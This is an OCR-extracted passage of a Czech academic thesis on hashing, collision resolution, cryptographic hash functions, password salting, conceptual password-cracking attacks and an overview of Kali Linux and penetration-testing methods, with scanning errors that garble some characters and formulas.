bude pomoci funkce H vypocten, stejny index pole. Tato skute¢nost vSak nijak tuto
metodu nediskvalifikuje (Wréblesky 2015).

U haSovani tedy odpada nutnost prohledavani mnozZiny dat. Pokud je totiZ znama
funkce H, je pomoci ni moZné urcit umisténi jakéhokoliv prvku v paméti a tim padem

je znamo, kde dany prvek hledat (Wréblesky 2015).

4.3.1.2 Funkce H

Jak bylo uvedeno vySe, funkce H pomoci daného klice poskytne index v poli T.
Existuje v8ak velké mnozZstvi funkci H, které 1ze zvolit pro zisk potiebného vysledku.
Slozitost funkce H udavaji dva parametry - délka pole, do kterého se budou ukladat

datové zaznamy a hodnota kli¢e v. Funkce H by méla mit nasledujici vlastnosti:
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e neméla by byt vypocCetné naro¢na tak, aby nebylo nutné systém zatézovat
naro¢nymi vypocty hodnot H(v),

e nemélo by dochazek ke kolizim (kazda hodnota klite v by méla mit odliSnou
hodnotu indexu v poli T),

e prvky vpoli T by mély byt rozloZeny zcela nahodné a rovnomérné

(Wréblesky 2015).

4.3.1.3 Priklady nejznaméjSich funkci H

Pro tvorbu funkci pouZivanych pri haSovani jsou vyuzivany nékteré zakladni
matematické funkce. Mezi tyto funkce Ize zaradit napt. modulo, nasobeni atd. Jedna
se o jednoduché funkce, které samy o sobé nestaci, a tak je nutné je kombinovat.
V nasledujicich ukazkovych pripadech jsou uvazovany klice jako znakové retézce,
které je mozné radit za sebe a libovolné interpretovat jako cela ¢isla. Kazdy znak
abecedy bude zakéddovan ve dvojkové soustavé pomoci péti bitli (Wréblesky 2015).
Kédovani slouzi tedy k tomu, aby byla hodnota klice nahrazena c¢islem. Pritom
samotny koéd neni vilbec diileZity. Cilem kédovani je pouze ziskat urcité ¢islo, se
kterym je moZné provadét nasledné vypocty (Wrdblesky 2015).

Dale je dlilezité umistit jednotlivé zaznamy do pole M tak, aby byly rozmistény co
nejvice nahodné. Funkce H poskytuje adresy od 0 do M-1 v zavislosti na argumentu
v. Nelze vSak dosahnout zcela nahodného rozloZeni prvkd, pokud vstupni hodnoty
nejsou jiZ z principu nahodné. Je tedy nutné toto nahodné rozloZeni néjak simulovat.
Experimenty s velkym mnoZstvim vstupnich dat vSak dokazaly, Ze pro tento ucel

jsou vhodné jednoduché aritmetické funkce jako je modulo, nasobeni ¢i déleni

(Wréblesky 2015).

Soucet modulo 2

Vzorec:
H(vy, v2...vn)=vi @ v2 D ... D vn
Priklad:
Pro:
Rmax=37, H(,KOT“) =(010110111010100)2
dava:
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(01011)2 6@ (01110)2 6 (10100)2 = (10001) = (17)10
Vyhody:
Funkce H lze pomérné snadno vypocitat. SouCet modulo 2 svoje argumenty
nezmenSuje ani nezvétSuje (oproti logickému souctu a soucinu). Problém
s operatory & a | je takovy, Ze data shlukuji za zacatku ¢i na konci pole. ¢imZ celkova
kapacita pole T neni vyuZivana efektivné.
Nevyhody:
Permutace jednotlivych pismen davaji vZdy stejny vysledek. Tomuto problému je

vSak moZné predejit cyklickym posouvanim bitové reprezentace (Wréblesky 2015).

Soucet modulo Rmax

Vzorec:
H(v) = v % Rmax

Priklad:
Pro:

Rmax= 37, H(,KOT“) = (010110111010100)2 % (37)10=(11732)10 =3
Vyhody:
Funkci H 1ze pomérné snadno vypocitat.
Nevyhody:
Vysledna hodnota neni zavisla na kli¢i, ale na parametru Rmax. Pti praci s velkymi

binarnimi ¢isli neni mozné funkci modulo pocitat za pomoci aritmetického déleni

(Wréblesky 2015).

Soucet modulo Rmax

Vzorec:

HvV)=[(((v*0) % 1) Emax)], kde0 <O <1
Vyznam vySe uvedeného vzorce:
Pomoci urcitého cisla @ na intervalu (0,1) vynasobime kli¢. Nasledné pouzijeme
desetinnou ¢ast, kterou vynasobime ¢islem Emax. Vysledkem je Cislo, u kterého nas
zajima pouze jeho celocCiselna cast.
Exituji 2 hodnoty pro parametr 0, diky kterym jsou klie rozprostreny v ramci

tabulky rovnomérné. jedna se o hodnoty ©1 = 0,6180339887 a 02 = 0,3819660113.
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Priklad:
Pro:

0 =0,618033988 Emax= 30 a kli¢ v = (,KOT“) = 11 732 dostavame H(,KOT“) = 23.

4.3.1.4 Reseni kolizi

P¥i bliz§im zkoumani a provedeni jednoduchych pokusti vySe zminénych funkci je
mozné dojit k nazoru, Ze funkce nespliuji o¢ekavané vlastnosti. Je tedy moZné zacit
pochybovat o efektivnosti a funkcnosti koncepce haSovani. Objevuje se tedy zjisténi,
Ze neexistuje idedlni funkce H (lze dokazat i teoreticky na prikladu narozeninového
paradoxu ve statistice). Situace ovSem neni tak $patn3, Ze by bylo nutné konstatovat,
Ze haSovani je v praxi nerealizovatelné. Existuji metody, pomoci kterych lze tyto
problémy vyresit (napf. Metoda vyuZzivajici pole, Linearni metoda nebo Metoda

dvojitého haSovani) (Wréblesky 2015).

Metoda vyuzivajici pole

HaSovani je jiZ ze samotného principu ur¢eno aplikacim, které dokaZzou odhadnout
maximalni pocet zdznamu. Diky této vlastnosti je moZné vyclenit pamét prifazenou
statickému poli, diky kterému lze k zdznamiim jednoduSe pfistupovat pomoci
indexl. Pokud je aplikace schopna zajistit dostatecné velké pole pro uloZeni vSech
potiebnych prvki, pak je moZné vyhradit ¢ast pole k reseni kolizi (Wrdblesky 2015).
Pri vyuziti tohoto principu je pole rozdéleno na dvé ¢asti. Prvni z nich je zakladni
oblast a oblast preplnéni. Do druhé zminéné oblasti se prvky dostavaji v pripadé, Ze
se pro né v prvni oblasti nenajde misto. Spole¢né s prichodem koliznich prvki se
postupné linearné zapliiuje i oblast preplnéni (Wréblesky 2015).

Problém vSak nastava v pripadé, Ze dojde kzaplnéni oblasti preplnéni. Pri
implementaci této metody je nutné nejdrive analyzovat potirebné velikosti poli, aby

v budoucnu nedoslo k selhani aplikace (Wréblesky 2015).

Linearni metoda
V metodé vyuZivajici pole je problém s kolizemi pri ukladani do pole T vyreSen
uméle, tedy rozdélenim na dvé ¢asti vyuzivané pro ukladani zaznamt v rozdilnych
situacich. Problém v praxi je vSak ten, Ze ackoliv velikost pole Rmaxlze ¢asto dobfte

odhadnout, velikost pole preplnéni je v praxi velice tézké urcit. Roli pri urcovani
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velikosti pole preplnéni hraje kromé samotnych dat i funkce H. Pfi odhadovani
velikosti pole by tak bylo nutné analyzovat funkci i data zaroveii (Wréblesky 2015).
Kolizim pri haSovani se nelze vyhnout, protoZe neexistuje idealni funkce H, diky
které by doslo k rovnomérnému rozmisténi prvkli Rmax po poli T (Wréblesky 2015).
Princip linearni metody je nasledujici. Pokud dojde pti zapisu nového prvku do pole
ke zjiSténi, Ze nastala kolize, je mozné se pokusit o zapsani prvku na dalsi volné
misto. Pocet prlimérného poctu pokusii potiebnych k nalezeni prvku x 1ze v piipadé
uspésného hledani odhadnout pomocit:

% (1+1/(1-a))
kde a je koeficient zaplnéni pole T. Analogicky vysledek pro netuspésné hledani je
definovan vztahem:

2 (1+1/(1-a))
Pii odvozeni uvedenych vzorcl se predpokladalo, Ze funkce H rozmistuje prvky
vpoli T rovhomérné. Vysledky ze vzorce maji tedy pouze statistickou povahu.
V praxi je nutné zajistit, aby nedochazelo k zaplnéni pole T z vétSich casti, protoze
vysledek z daného vzorce se velmi zvétSuje (obecné by se koeficient a nemél blizit

1) (Wrdéblesky 2015).

Metoda dvojitého hasovani

PTi pouZiti metody linedrnich pokusti dochazi k linedrnimu zapliiovani pole T, coZ je
velice nevyhodné a odporuje ptivodnim pozadavklim na funkci H. Zaroven také
dochazi k pridavani nového prvku tésné za danou nalezenou oblast pole T, coZ vede
k jejimu neustalému zvétSovani. Pro FeSeni problémi linedrniho zapliiovani pole je
zapotrebi postup, ktery zajisti, aby byly prvky v poli rozmistovany ponékud
nahodnéji. Pro eliminaci linedrniho shlukovani prvkid v poli T je moZné vyuZit
metody tzv. dvojitého haSovani. Dojde-li ke konfliktu, nasleduje novy pokus
o umisténi prvku do pole pomoci druhé funkce H (H2) (Wrdéblesky 2015).

Vybér funkce HZ je ale klitovy a do zna¢né miry ovliviiuje efektivitu procesu
vkladani. Funkce H2 by méla spliiovat nasledujici poZadavky: 1) musi byt odliSna od
funkce H1 a 2) nesmi byt nijak slozita, aby kvili ni nedochazelo ke zdrZovani
vyhledavani a vkladani. Prikladem funkce, ktera je v praxi velice dobfe pouZzitelna

(resp. ma dostatec¢né slozity vybér) a zaroven jednoducha je HZ (k) =8 - (k % 8).
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Vyhodou metody dvojitého haSovani je urychleni vyhledavani dat. Zde jsou vzorce
teoretickych vypoctli pro prlimérny pocet pokusti pfi vyhleddvani s GispéSnym
a neuspésSnym vysledkem. Pri tUspéSném hledani lze pocet pokusti odhadnout
vztahem:

1/alog (1/(1-a)
kde a je koeficient vySe zaplnéni pole T. Analogicky vztah pro netspésné hledani je:

1/(1-a)

4.3.2 Kryptografické hasovaci funkce a kompresni funkce

Kryptografické haSovaci funkce zpracovavaji retézec libovolné délky do hash
hodnoty o fixni délce. Je moZzné tedy zapsat t-bitovou haSovaci funkci jako
H:{0,1}* -> {0,1}t, kde t je velikost hashové hodnoty v bitech (Gauravaram 2012).
Kompresni funkce ma jako vstup retézec o fixni délce a stavovou hodnotu.
Vysledkem je nova stavova hodnota. Kompresni funkci je tedy moZné zapsat jako
f-{0,1}> x {0,1}" -> {0,1}", kde vstupni Fetézec obsahuje b bitii a vstupni a vystupni
stavy obsahuji kazdy n bitli (Gauravaram 2012).

Vystupni transformace g: {0,1}" -> {0,1}tje aplikovana na vystup z kompresni funkce.

Tim je mozné ziskat vyslednou t-bitovou hodnotu hashe (Gauravaram 2012).

Zpracovani vstupniho retézce M pomoci iterované haSovaci funkce H
V prvnim kroku je dilezité predzpracovani. Pfed zahajenim vypoctu haSovaci
funkce, je nutné vstupni retézec M doplnit o bit s hodnotou 1 a dostate¢nym poctem
nulovych bitli nasledovany binarné zakdédovanou informaci o délce plivodniho
retézce. Délka retézce doplnéného o tyto informace je tedy nasobkem délky bloku
b kompresni funkce. Doplnéni retézce M o informaci o délce ptivodniho vstupniho
retézce zajiStuje, aby na haSovaci funkci nemohly byt provedeny triviadlni kolizni
utoky. Doplnény vstupni Fetézec M je tedy moZné oznacit jako Pad(M) = M1 [| Mz]] ...
/| Mn, kde bloky Mi jsou vZdy sloZeny z b bitli a blok My obsahuje ptivodni délku
retézce v binarnim formatu (Gauravaram 2012).
Dal8im krokem zpracovani je iterace kompresni funkce. Kazdy retézec M je tedy

zpracovan pomoci kompresni funkce f, ktera je definovana jako f (Hi-1, Mi) = H;, kde
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Hi1a Hijsou takzvané stavy a Ho je pocatecni hodnota haSovaci funkce (Gauravaram
2012).

Posledni ¢asti zpracovani je vystupni hodnota hashe. Vystupni hodnota Hy je
nasledné zprocesovana pomoci vystupni transformace g za ucelem ziskani hodnoty

hashe H¢ (Gauravaram 2012).

Merkle-Demgard haSovaci funkce

Merkle-Demgard je popularni iteracni hash funkce, na jejiZ zakladé byl postaven
princip Siroce vyuZivanych hasovacich funkci, jako jsou naptiklad MD5, SHA-1, SHA-
256 a SHA-512 (Akshima et al. 2022). Proces hasovani téchto principt je velice
podobny vySe zminénému postupu zpracovani vstupniho retézce M, svyjimkou
toho, Ze zde neni aplikovana finalni transformace a zretézené hodnoty kompresni
funkce jsou hodnotou hashe. HaSovaci funkce, které vychazeji z Merkle-Demgard
frameworku jsou zranitelné vii¢i Length extension Gtoku. To znamena, Ze je moZné
spocitat novou hodnotu hodnoty hashe z jiZ znamé hodnoty hashe a délky retézce
M, ze kterého byla ptivodni hodnota hashe spocitana, bez toho, aniZ by byl znam
ptivodni fetézec M (Gauravaram 2012).

Davies-Meyer je jedna z nejpopularnéjSich kompresnich funkci a je ¢asto pouZzivana
ve standardnich hasovacich funkcich, jako jsou MD5, SHA-1, SHA-256 a SHA-512.
Tato kompresni funkce je definovana jako f (h,m) = Em (h) @ h, kde E je blokova Sifra
s blokem zpravy m (jako klicem) a vstupni hodnotou h v plaintextu. Pro kazdy
unikatni blok zpravy je mozné najit fixni bod (h, m), u kterého plati f (h, m) = h
azaroven h = E-1,(0). DlleZité je zdliraznit, Ze takto nema ptipadny tito¢nik kontrolu
nad ziskanou hodnotou h. JednoduSe vyhledatelné fixni body v kompresnich
funkcich byly totiZ zneuZity v nékolika riznych typech ttokli na haSovaci funkce

(Gauravaram 2012).

Bezpecnostni vlastnosti hasovacich a kompresnich funkci

U haSovaci funkce se ocekava, Ze spliuje nasledujici bezpecnostni vlastnosti:

e Odolnost viici kolizim. Obecné by mélo zabrat 2¢2 iteraci funkce H, aby byly
nalezeny dva vstupni fetézce M a N, pro které plati, Ze M # N a zarovei

H(M) = H(N).
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e Odolnost vii¢i toku nalezenim druhého vzoru. Pro vybrany vstupni fetézec
M a jeho hash hodnotu H by mélo zabrat 2¢ operaci H najit dalSi retézec
N takovy, Ze M # N a zarovenl H(M) = H(N). Pro dany fetézec o délce 24 bloki
miiZe byt nalezeni druhého vzoru, pro Merkle-Demgard haSovaci funkci, ve
2td operacich kompresni funkce.

e Odolnost vii¢i atoku nalezenim vzoru. Pro vybranou hodnotu hashe Y by
meélo funkci H zabrat 2¢ operaci k nalezeni retézce M takového, ze H(M) = Y

(Gauravaram 2012).
Podobné pro kompresni funkce fje ocekavano, Ze maji nasledujici vlastnosti:

e Odolnostviici kolizim. Funkci fby mélo zabrat 2¢/2 operaci nalézt dva rozdilné
pary (h, m) a (h*, m*) takové, u kterych plati f (h, m) = f (h* m*).

e Odolnost viic¢i utoku nalezenim druhého vzoru. Pro vybrany par (h, m), by
meéla bytnarocnost funkce ftakova, Ze k nalezeni paru (h* m*), pro ktery plati
(h, m) # (h*, m*) a f (h, m) = f (h*, m*), je zapotiebi 2t operaci.

e Odolnost viic¢i itoku nalezenim vzoru. Pro vybrany vystup kompresni funkce
Y by mélo zabrat 2¢ operaci funkce f tak, aby byl nalezen par (h, m) spliujici
f(h, m) =Y (Gauravaram 2012).

4.3.3 Vyuziti soli pri haSovani

Samotné hasovani je dileZité pri ukladani hesel. Pokud by fetézec s heslem nebyl
zahaSovan, doslo by pfi prolomeni databaze k okamZitému tniku vSech retézci
s hesly v podobé, v jaké je uzivatele zadavaji. To Ze jsou hesla uloZena naptiklad
v databazi pouze v podobé hashe v§ak neznamena, Ze jsou odolna proti jakémukoliv
utoku (Sriramya a Karthika 2015).

Takto uloZend hesla jsou zranitelnd vii¢i utokiim hrubou silou. Ty jsou v§ak pomérné
neefektivni v pripadé, Ze heslo obsahuje vétsi mnozstvi znak@. V tom piipadé pak
miiZe samotny utok trvat velice dlouho (Gauravaram 2012).

Dal$im z moZnych typl tutokl je narozeninovy utok. Zde je vytvofen seznam
zahaSovanych nahodné vybranych c¢asto pouZivanych hesel. Tento seznam je
nasledné porovnavan oproti hodnotdm hashii v souboru s hesly, které je cilem

prolomit (Zhao 2020). Zde je naroc¢nost vypoctu 2%2. Soubor s hesly obsahuje 2t/2
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t-bitové zahaSované hodnoty. Dale je nutny predvypocitany seznam 2¢%2 hodnot
hashii ndhodné vybranych hesel. Pak je moZné nalézt alespoii jedno shodné heslo
s pravdépodobnosti alespoii 50 % diky narozeninovému paradoxu (Gauravaram
2012).

Slovnikovy utok je poté specialnim typem narozeninového utoku, kdy je cilem najit
pravé jedno hledané heslo. Zde je narocnost 2t pri t-bitové haSovaci funkci
(Gauravaram 2012).

Aby bylo moZné se vyhnout vySe zminénym utokiim, je doporucované pouZit
takzvanou stl jeSté predtim, neZ je samotné heslo zahaSované. Soli miiZe byt
nahodny retézec, ktery je danému uZivateli pFifazen, nebo se mliZe jednat o retézec
vytvoreny z dalSich uzivatelovych udajl (napt. piijmeni ¢i telefonni ¢islo). Sl je tedy
vZzdy nutné ukladat spolecné s heslem. Kombinace stil//heslo je nasledné vloZena do
haSovaci funkce H, ktera vygeneruje hash v podobé H(stil/[heslo) (Gauravaram
2012).

[ v pripadé, Ze je velikost hashe mala (napriklad 32-bitova), tak komplexita vypoctu
haSovych hodnot hesel pro jakoukoliv stil v souboru s hesly je velice vysoka a blizi
se naroc¢nosti Utoku nalezenim vzoru, kde je zapotfebi 2t paméti pro t-bitovou
haSovaci hodnotu. Hodnoty soli se v souboru s hesly opakuji jen pro velmi malé
mnoZstvi H(stil/[heslo) zahaSovanych hodnot. Tim padem by uto¢nik musel zkouset
seznam s piedvypocitanymi hashy hesel o velikosti 2t pro kazdou stil zvlast oproti
malému mnoZstvi zdznami v souboru s hesly, které maji stejnou hodnotou soli. Pro
soli o velikosti napiiklad 128-bitii, kde dochazi zfidka k vyskytu stejnych soli, by byl
utok casové a vypocetné narocny, coZ se uto¢nikovi nevyplati provadét. Je tedy
velice nepraktické pouZzivat narozeninové utoky (i k vyhledani pouze jednoho hesla)

na zahashované hodnoty H(stil[/heslo) (Gauravaram 2012).

4.3.4 Problém haSovani pii prolamovani hesel
Zplsob vytvoreni hashe zplivodniho ftetézce M je popsano v predchozich
kapitolach. Slozitéjsi je vSak obraceny postup, je-li potfebné z,hashe“ dostat
plivodni Fetézec znakli M. Kazdy moderni programovaci jazyk ma nékolik knihoven,

které zabezpecuji hashovaci funkce. Hashovaci funkce, které umoziuji hasovat cely
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soubor (i pouze textové retézce jsou obsazeny i v balicku zakladnich funkci
operac¢niho systému Kali Linux. (Sinha 2018).

Tabulka 1 Priklad nékterych ,hash“ funkci a jejich vystupt pro jednoduchy
retézec ,test:
SHA1 | a94a8fe5ccb19ba61c4c0873d391e987982fbbd3

SHA22 | 90a3ed9e32b2aaf4c61c410eb925426119e1a9dc53d4286ade99a809
4
SHA25 | 9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6¢c15b0
6 f00a08

MD5 098f6bcd4621d373cade4e832627b4{6

V tabulce vySe (viz Tabulka 1) je moZné porovnat jednotlivé ,hashovaci“ funkce.
Vlevém sloupci jsou nazvy hashovacich algoritml a vpravo je vysledny ,hash“
(Sinha 2018).

»,Hashovaci“ proces ma své nazvy. Zadany retézec predany do ,hashovaci“ funkce se
nazyva ,message“, nasledny vystup je nazyvan ,message digest, zkracené ,digest".
Jednou z hlavnich vlastnosti idealni ,hashovaci“ funkce je, Ze je deterministicka. To
znamena, Ze stejna ,message” vZdy vyusti v jeden a ten stejny ,digest“. A zarovern
dvé rozdilné ,message” tedy nemohou mit nikdy stejny ,digest“ (Sinha 2018).

Jak jiz bylo zminéno, ,hash“ neni reverzibilni. Reverzibilitu zajiStuje napriklad
senkrypce“. Ta umoZiiuje obousmérnou funkci. ,Enkryptovand“ data milZeme
»dekryptovat” pomoci zadaného specifického klice. Zde bohuzel prichazi problém
s ukladanim klice. Stejné jako ,enkryptovany“ retézec, tak i kli¢ musi byt nékde
uloZen. Pokud v takovém pripadé dojde k uitoku a uito¢nik se zmocni hesla i klice, je
schopen jednoduse dostat ptivodni heslo (Sinha 2018).

Existuji vSak i zplisoby, jak obnovit ,hash“ do pivodni podoby. Neni to vSak tak
jednoduché jako u ,enkrypce“. Kreverzni funkci je moZné pouzit tzv. ,Rainbow
table“, pomoci které lze prolomit ,hashe“. Tato metoda vSak funguje pouze pro
urcitou délku omezeného poctu znaki. Vyhodou ,Rainbow table“ je, Ze 1ze vytvorit
rizné tabulky dle rtiznych ,hash“ hodnot (Sinha 2018). Pro reverzi hashe ¢i
prolomeni hashe slouzi nékteré z nastrojii systému Kali Linux. Nékteré z vybranych

nastroji a jejich funkénosti budou popsany v nasledujicich kapitolach.
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5 Kali Linux

Kali Linux je ,open-source” distribuce postavena na volné dostupném opera¢nim
systému Debian. Hlavnim ucelem Kali Linuxu je zacileni na penetracni testy
a bezpecnostni audity. Systém uzivateli zprostredkovava zakladni nastroje,
konfigurace a automatizace nékterych procesii, coZ napomaha k tomu, aby se

uzivatel mohl soustredit pouze na ulohy, které potrebuje reSit (What is Kali Linux?

[b.r.]).

5.1 Historie Kali Linuxu

Kali Linux vychazi z dlouholeté zkuSenosti vyvoje a testovani riiznych operacnich
systému. Systém byl vytvaien mnoho let a prosel si nékolika diileZitymi stadii vyvoje
(Whatis Kali Linux? [b.r.]).

Prvni ¢asti vyvoje byl systém Whoppix (WhiteHat Knoppix). Zakladem byl operacni
systém Knoppix. Knoppix je Live CD distribuce opera¢niho systému. Je postaven na
Debianu a privlastek Live CD znadi, Ze je cely operacni systém je umistén na jediném
CD a po ,nabootovani“ je plné pristupny (Kali Linux History [b.r.]).

Dal8im vyvojovym stadiem byl takzvany WHAX (WhiteHat Slax). Jméno se zménilo,
protoZe byl zménén i operacni systém, na kterém byla nova distribuce postavena.
Tim systémem byl Slax. Slax je postaven na Slackware nebo Debian. CoZ umoziuje
uZivateli benefitovat z obou ekosystémii. Jeho vyhodou je opét schopnost,bootovat*
z flash disku (Kali Linux History [b.r.]).

Touto dobou byl vyvijen také podobny systém s nazvem Auditor Security Collection,
ktery vyuzival Knoppix. Vroce 2006 doSlo ke slouceni systému WHAX a Auditor
Security Collection, ¢imZ vznikla nova distribuce s ndzvem BackTrack. Cilem tviirci
bylo poskytnout specidlni distribuci Linuxu, kterd by uZivatelim pomdhala
s penetracnimi testy (Kali Linux History [b.r.]).

Béhem jednoho roku se BackTrack transformoval v samostatnou Linuxovou
distribuci s kernelem ve verzi 2.6.20. Navic byla pridana podpora pro
Metasploitable 2 a 3. Metasploitable je open-source framework, ktery je vyuZzivan
k hledani slabych mist, pomaha s penetracnimi testy a slouZi pro systémy odhalujici

priniky do systému (Kali Linux History [b.r.]).
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BackTrack verze 2, 3 a 4 pfrinesly postupné specializované nastroje (Saint
a Maltego), které slouzi k ,hackovani“. A nasledné byla také rozsifena hardwarova
podpora. Rok 2011 byl pro vyvoj BackTrack zasadnim. Vysla verze BackTrack 5,
ktera byla nové postavena na Ubuntu Lucid LTS s kernelem ve verzi 2.6.38 (Kali
Linux History [b.r.]).

Nejvétsi zména se vSak odehrala vroce 2013, kdy se BackTrack Linux stal Kali
Linuxem. Podpora pro BackTrack byla ukoncena, platforma byla zcela prestavéna
anové vznikly systém byl postaven na opera¢nim systému Debian. Debian je jednou
z nejstarSich GNU/Linuxovych distribuci, ktera je doposud stale, jako jedna z mala,
vyvijena velkym mnoZstvim dobrovolnikd, nikoliv komer¢nim subjektem. Je to také

jedna z nejvice svétové rozsifenych linuxovych distribuci (Kali Linux History [b.r.]).

5.2 HiIavni viastnosti Kali Linux

Systém Kali Linux je distribuce Linuxu obsahujici specidlni kolekci nastroji
vhodnych pro jeho cilovou skupinu, kterou jsou penetratni testefi a dalsi
profesionalové zabyvajici se zabezpecenim pocitacovych systémii. V nasledujicich
odstavcich jsou popsany nékteré z prednich vlastnosti Kali Linuxu (Hertzog et al.

2017).

Live systém
Schopnost live médu znamena, Ze operacni systém Kali Linux nemusi byt, na rozdil
od béZnych operacnich systému, staticky nainstalovan na pocitaci. Systém je mozné
pouzit jako takzvany ,bootable live systém®, coZ znamena, Ze ho 1ze bez predchozi
instalace nabootovat z ISO image, ktery miiZe byt uloZeny napiiklad na néjakém
prenosném médiu jako je flash disk. Live verze Kali Linuxu obsahuje bézné
pouZivané nastroje pro penetracni testy. Je vSak dileZité zminit, Ze si mezi
jednotlivymi nabootovanimi systém neukladda svou konfiguraci. Uchovani
systémova konfigurace, 1ze v§ak dosahnout pomérné jednodu$e pomoci nastaveni
perzistence dat pri bootovani systému. Poté lze tedy ukladat systémovou

konfiguraci napfic¢ jednotlivymi rebooty (Hertzogetal. 2017).
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Forenzni mod

Obecné je pri forenzni analyze nutné se vyhnout jakékoliv aktivité, ktera by mohla
data v analyzovaném systému zménit ¢i jinak znehodnotit. Bohuzel moderni
systémy maji ve zvyku automaticky pripojit kazdy disk, ktery detekuji, coZ muZe
zplsobit problém. Kali Linux ma vSak forenzni méd, ktery lze spustit v bootovacim
menu. Diky tomuto médu jsou vypnuty takové funkce jako automatické pripojeni
diskii a dalsi. Live verze systému je na forenzni praci nejvhodnéjsi, protoze je diky
ni moZné prebootovat jakykoliv pocita¢ do Kali Linuxu bez nutnosti pristupovat ¢i

jinak modifikovat harddisk (Hertzog et al. 2017).

Vlastni Linuxovy kernel

Kali Linux vzdy poskytuje nejnovéjSi upravenou verzi Linuxového Kkernelu
zakladajici se na nejnovéjsi verzi Debian Unstable. Diky tomu je zajiSténa vysoka
podpora velkého mnoZstvi zejména bezdratovych zarizeni. Jadro je upraveno pro
podporu bezdratového vkladani, protoZe je na této funkci zavislych mnoho nastrojt
pro zhodnoceni bezdratového zabezpeceni. ProtoZe mnoho hardwarovych zarizeni
vyZaduje aktualni firmwarové soubory, Kali je instaluje jiz v zakladu (Hertzog et al.

2017).

Moznost upravit Kali Linux dle vlastnich potieb

Kali Linux je opera¢ni systém vytvoien pro penetracni testery. Obsahuje tedy rtizné
funkce a nastroje, které jsou pro penetracni testery diileZité. Ne vSak kazdy
potiebuje vSechny nastroje nebo naopak potrebuje néjaké jiné nastroje, které
nejsou v zakladni verzi predinstalované. Diky Live-build je vS8ak Kali Linux
jednodu8e upravitelny do takové podoby, jakou zrovna dany uZivatel potrebuje

(Hertzog etal. 2017).

Vérohodny operacni systém
Vzhledem ktomu, Ze Kali Linux je velmi c¢asto pouZzivan vramci zajiSténi
pocitatového zabezpecleni, je nutné, aby i jeho samotny kdéd byl transparentni
a bezpelny. Kali je vyvijen malym tymem zkuSenych vyvojart, ktefi pracuji

transparentné a iidi se nejlepSimi bezpecnostnimi postupy. Kazdy miiZe nahlédnout
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do zdrojového kdédu operacniho systému skrz Git repozitare, které jsou pouZzité
k sestaveni zdrojového Kali repozitare. Vyvoj kazdého balicku je moZné sledovat

skrz Kali package tracker (Hertzog etal. 2017).

PouzZitelnost na siroké Skale ARM zarizeni

Kali Linux poskytuje binarni repozitafe pro armel, armhf, and armé64 ARM
architektury. Diky jednoduse instalovatelnym imagiim poskytovanych Offensive
Security, miiZze byt Kali Linux spustén na velkém mnoZstvi riiznych zatizeni (od
chytrych telefonii a tabletli aZ po Wi-Fi routery a jina pocitacova zarizeni vSech

riznych rozméri) (Hertzog et al. 2017).

5.3 Pouziti Kali Linux

Kali Linux je nejc¢astéji pouZzivan jako prvek proaktivniho bezpecnostniho testovani
pocitacovych systémi ¢i konkrétnich webovych aplikaci nebo softwaru. Testovani
funguje tak, Ze jsou provadény tutoky, které jsou podobné ttoklim z redlného svéta.
Cilem jednotlivych utokil je najit co moZna nejvice bezpecnostnich nedostatkl
a poskytnout tak zpétnou vazbu na to, jak tyto nedostatky zabezpecit. K testovani
slouzi razné testovaci metodologie, jejichZ vyznam je casto zaménovan.
V nasledujicich odstavcich jsou ve zkratce shrnuty jednotlivé pojmy (Najera-

Gutierrez a Ansari 2018).

5.3.1 Etické hackovani

Termin eticky hacker je pouZivan k oznaceni profesionald, jejichZ praci je odhaleni
bezpectnostnich skulin a zranitelnych mist v poc¢itacovych systémech. Nasledné
takové nedostatky nahlasi provozovateli ¢i vlastnikovi systému a pomohou
s opravou systému. Nastroje a postupy pouZivané etickymi hackery jsou stejné jako
postupy crackert ¢i black hat hackerid s rozdilem, Ze zaméry etického hackera

nejsou negativni (Najera-Gutierrez a Ansari 2018).

5.3.2 Penetracni testovani

Penetra¢ni testovani je proces, pri kterém se provadi hloubkova analyza nebo audit
zabezpecCeni vybraného systému. Metodologie penetracniho testovani definuje

seznam pravidel, postupi a procedur, které jsou implementovany v ramci

27



bezpecnostniho auditu. Penetra¢ni testovani je nejnaro¢néjSi a nejagresivnéjsi
formou posuzovani bezpetnosti systému. Proto samotné testovani musi byt
provadéno profesiondly a miiZe byt provadéno bez znalosti, ale i s dokonalou
znalosti systému ¢i cilové sité, na ktery utok cili. Testovani miiZe cilit na veSkeré
komponenty IT infrastruktury, jako jsou aplikace, sitova zarizeni, operacni systémy,
komunika¢ni média, fyzické zabezpeceni a také lidsky faktor. Vysledkem
penetracniho testu je report, ktery je rozdélen do nékolika kategorii. V kazdé

kategorii jsou vycCty potencidlnich slabych mist systému nasledovany podnéty

k jejich napravé (Najera-Gutierrez a Ansari 2018).

Typy penetracnich testt
Presto, Ze existuje mnoho typl penetracnich testd, tii nejzakladnéjsi pristupy jsou
sblack box“, ,white box“ a ,grey box“ testy. KaZdy z nich ma rtizné vyhody, které by

mél kazdy penetracni tester znat (Johansen et al. 2016, s. 2).

»Black box“ testovani

Tento typ testli se snaZi, co nejpiresnéji napodobit redlny utok. Penetracni tester tedy
nemd viibec Zadné znalosti o systémové architekture, softwaru, hardwaru nebo
jakychkoliv jinych internich funkci daného systému. Tester se tedy snaZi zrole
tito¢nika proniknou do systému. Ukolem testera je tedy identifikovat veskera slaba
mista, nasimulovat vS§echny mozné utoky a pouZzit vSechny moZné cesty vedouci
k prolomeni systému (Johansen et al. 2016, s. 2).

Je vSak nutné, aby byl tester pii vykonavani ,Black box“ utokii opatrny. Béhem
testovani je mozné poskodit samotny systém. Proto je také testovani touto metodou

velice Casové a finan¢né narocné (Johansen etal. 2016, s. 2).

»White box“ testovani

Naprosty opak ,Black box“ testovani je metoda ,White box“. Zde ma penetracni
tester naproste detailni predstavu o tom, jak systém funguje a z jakych komponent
sestava. Mezi informace, které ma tester k dispozici, miiZze patrit: sitové diagramy,
inventare operacnich systémi nebo zdrojové kody aplikaci. V této metodé testovani
nemusi testera zajimat zplisob, jakym by byl proveden utok zvendi, ale diileZité jsou

pro néj posoudit informace o bezpecfnostni kontrole systému. Tyto testy jsou
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vétsinou provadény oproti nové vyvinutym & vyvijenym aplikacim. Ukolem testera
je tak najit slaba mista systému a potencialni hrozby jeSté pred tim, neZ je systém
nebo aplikace uvedena do bézného provozu, kde bude vystavena hrozbam realného
svéta. ,White box“ testovani je tak oproti ,Black box“ testim méné nakladné a je
schopné odhalit a opravit chyby jeSté predtim, neZ je systém uveden do provozu

(Johansen etal. 2016, s. 2).

»Gray box testovani“

Tato metoda je takovym hybridem mezi dvéma vySe zminénymi metodami. V tomto
